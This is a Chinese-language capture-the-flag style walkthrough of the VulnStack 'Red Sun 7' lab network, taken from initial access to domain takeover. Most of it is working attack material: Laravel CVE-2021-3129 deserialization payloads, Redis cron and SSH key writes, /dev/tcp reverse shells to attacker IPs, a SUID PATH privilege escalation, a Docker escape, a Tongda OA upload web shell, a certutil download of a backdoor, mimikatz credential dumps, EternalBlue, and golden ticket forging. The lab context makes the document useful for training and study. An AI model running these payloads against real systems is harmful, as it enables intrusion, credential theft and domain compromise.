ATT&CK 红日靶场7打靶

环境拓扑

域内账号

Administrator:Whoami2021

whoami:Whoami2021

bunny:Bunny2021

moretz:Moretz2021

-----------------------------------------------

web1 192.168.0.187/192.168.52.10

-------------------------------------------------

web2 192.168.52.20/192.168.93.10

pc 1 192.168.52.30/192.168.93.20

--------------------------------------------------

dc 192.168.93.30

pc 2 192.168.93.40

------------------------------------------------

主机发现

192.168.0.187存活

22 ssh服务

80 nginx 1.14.0

81 laravel框架 8.29.0

6379 redis

利用 laravel RCE漏洞攻击

Laravel

cve-2021-3129

原理

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

利用

访问/_ignition/execute-solution目录 http:192.168.0.187:81//_ignition/execute-solution

发送数据

Content-Type: application/json

{

"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"cm0s",

"viewFile":""

}

}

返回状态码为500 提示 file_get_contents() 证明存在该漏洞

输入

{

"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"cm0s",

"viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

}

}

清空laravel.log日志

一句话木马 进行base64编码

PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg==

使用php反序列化工具phpggc生成payload

php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1RbImNtZCJdKTs/Pg== | base64 -d > /var/www/html/test.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

得到代码

=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=53=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=63=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=67=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=48=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=67=00=6E=00=5A=00=57=00=4E=00=6F=00=62=00=79=00=42=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=31=00=70=00=59=00=57=00=6D=00=68=00=69=00=51=00=32=00=64=00=72=00=57=00=44=00=46=00=43=00=55=00=46=00=55=00=78=00=55=00=6D=00=4A=00=4A=00=62=00=55=00=35=00=30=00=57=00=6B=00=4E=00=4B=00=5A=00=45=00=74=00=55=00=63=00=79=00=39=00=51=00=5A=00=7A=00=30=00=39=00=49=00=48=00=77=00=67=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=33=00=5A=00=68=00=63=00=69=00=39=00=33=00=64=00=33=00=63=00=76=00=61=00=48=00=52=00=74=00=62=00=43=00=39=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=42=00=6F=00=63=00=43=00=63=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=41=00=36=00=79=00=65=00=6D=00=55=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=4D=00=4D=00=7A=00=72=00=6C=00=50=00=6E=00=51=00=48=00=6E=00=76=00=68=00=5A=00=56=00=62=00=6E=00=36=00=6F=00=49=00=33=00=77=00=53=00=41=00=33=00=4B=00=67=00=56=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00

发送AA进行对齐

{

"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"cm0s",

"viewFile":"AA"

}

}

发送payload

发送生成的payload,要在生成的payload后加一个字节(当有两个paylaod时会就输出两个paylaod,后续进行base64解码时必定会报错,所以我们要想一个方法将paylaod只输出一个。而utf-16le以两个字节为单位,所以我们可以在末尾添加一个字节来错位,使得只有其中一个paylaod得以输出。)

{

"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"cm0s",

"viewFile":"payload代码"

}

}

消除多余

{

"solution":"Facade\Ignition\Solutions\MakeViewVariableOptionalSolution",

"parameters":{

"variableName":"cm0s",

"viewFile":"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"

}

}

测试连接

getshell成功 蚁剑连接

ls -alh /.dockerenv

cat /proc/1/cgroup

ls -al / 存在dockerenv文件

经过检测 为docker环境

redis 未授权访问

验证

redis-cli -h 192.168.0.106

定时任务拿shell 失败

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.192/8888 0>&1\n\n"

config set dir /var/spool/cron/

config set dbfilename root

save

ssh公钥 远程登录

#生成ssh公私钥

ssh-keygen -t ldh123

当前目录下会存在两个文件

#连接redis

nc 192.168.0.106 6379

#获取redis备份目录

config get dir

#更改redis备份路径为ssh公钥存放目录

config set dir /root/.ssh

#设置上传公钥文件名

config set dbfilename authorized_keys

#写入公钥(ldh123内的值)

set x "\n\n\n公钥值\n\n\n"

#保存

save

ssh连接 (这个id_rsa是你生成的文件ldh123)

ssh -i id_rsa root@192.168.0.106 -p22

docker逃逸

吧shell反弹到kali

nc -lvvp 8888

bash -c 'exec bash -i &>/dev/tcp/192.168.0.192/1111

逃逸需要高权限 目前权限为www-data 需要提权

环境变量提权

搜索高权限文件命令

find / -perm -u=s -type f 2>/dev/null

只有/home/jobs/shell 是高权限文件

cd /tmp

echo "/bin/bash" > ps

chmod 777 ps

echo $PATH

export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序

cd /home/jobs

./shell

转为交互式shell python -c 'import pty; pty.spawn("/bin/bash")'

拿到了root权限 进行dcoker逃逸

fdisk -l 查看磁盘挂载情况

mkdir /test 创建一个目录

mount /dev/sda1 /test 挂载到这上边

利用计划任务进行逃逸

touch /test/test.sh

echo "bash -i >& /dev/tcp/192.168.0.192/6666 0>&1" >/test/test.sh

echo "* * * * * root bash /test.sh" >> /test/etc/crontab

成功反弹 逃逸成功

二层内网渗透

找到内网 网段192.168.52.0/24

上线msf

搭建socks5代理

进行内网网段主机探测

发现存活主机 52.10,20,30

但是都没有好的线索 20的一台机器是开放8000端口的 和10机器的8端口服务一致

得出 真正的laravel服务是在52.20这台机器上的8000端口开放 通过nginx反向代理到了52.10的80端口上

对52.20进行横向

访问52.20的8000端口

和之前的方法一样

蚁剑修改ip+端口进行连接

反弹shell到kali

nc -lvvp 1234

bash -c 'exec bash -i &>/dev/tcp/192.168.0.192/8888

其他操作和上面一样

拿下52.20

发现还有一层网络192.168.93.0/24

攻击52.30

开放8080端口 为通达oa系统

135 445端口开放

访问8080端口 进入通达oa登录页面

inc/expired.php 查看oa版本 为11.3

百度发现该版本存在文件上传漏洞

使用文件上传进行攻击

百度得知 文件上传目录 /ispirit/im/upload.php

bp抓包修改内容 并且添加

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="UPLOAD_MODE"

2

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="P"

123

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="DEST_UID"

1

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"

Content-Type: image/jpeg

$command=$_POST['cmd'];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

------WebKitFormBoundarypyfBh1YB4pV8McGB--

发包之后得到 文件上传路径 为 2312/1377351178.jpg

访问上传的文件

POST /ispirit/interface/gateway.php HTTP/1.1

Host: 192.168.52.30

Connection: keep-alive

Accept-Encoding: gzip, deflate

Accept: /

User-Agent: python-requests/2.21.0

Content-Length: 70

Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2312/1377351178.jpg"}&cmd=whoami

执行dir命令确定一下当前目录 C:\MYOA\webroot\ispirit\interface 用msf生成后门文件进行上传

生成之后开启http服务

certutil -urlcache -split -f http://192.168.0.196:9999/1234.exe 进行下载

msf开启监听 运行脚本文件 上线成功

简单信息收集

机器名 pc1

版本 win7 6.1

存在域 WHOAMIANONY

也是双网卡机器 192.168.52.30/192.168.93.20

域控的ip 192.168.93.30

上传mimikatz抓密码

privilege::debug #提升权限

sekurlsa::logonpasswords #抓取密码

抓到两个密码

bunny Bunny2021

administrator Whoami2021

三层内网渗透

对93.0/24网段进行渗透

存活 10,20,30,40 4台机器

30为域控 攻击30

使用impacket工具包的 psexec.exe工具

psexec.exe WHOAMIANONY/administrator:Whoami2021@192.168.93.

30

攻击成功 关闭防火墙 上线到msf

40为域内机器 攻击40

使用 windows/smb/ms17_010_eternalblue 模块直接攻击

上线成功

黄金票据

当前权限为 system 需要降权到 administrator

load incognito 加载模块

list_tokens -u 列出所有token

impersonate_token "WHOAMIANONY\Administrator" token窃取

whoami /all 获取sid

load kiwi

creds_all 列出所有凭据(需要system权限)

kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt" 获取用户hash

制作黄金票据

golden_ticket_create -d whoamianony.org -k 6be58bfcc0a164af2408d1d3bd313c2a -u zxx -s S-1-5-21-1315137663-3706837544-1429009142 -t /pj.ticket

-d 域名

-k krbtgt账户的密码hash值

-u 任意的用户名

-t 将生成的票据保存在服务器上,文件名字以及后缀可以随意

-s 用户SID

使用票据

load kiwi

kerberos_ticket_use /pj.ticket 使用票据

shell

dir \dc\c$

搭建多级代理

A - B - C

a和b搭建一条socks5隧道

b和c搭建一条socks5隧道

proxifier做代理链

参考文章:

VulnStack|红日靶场——红队评估七 - 哔哩哔哩

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值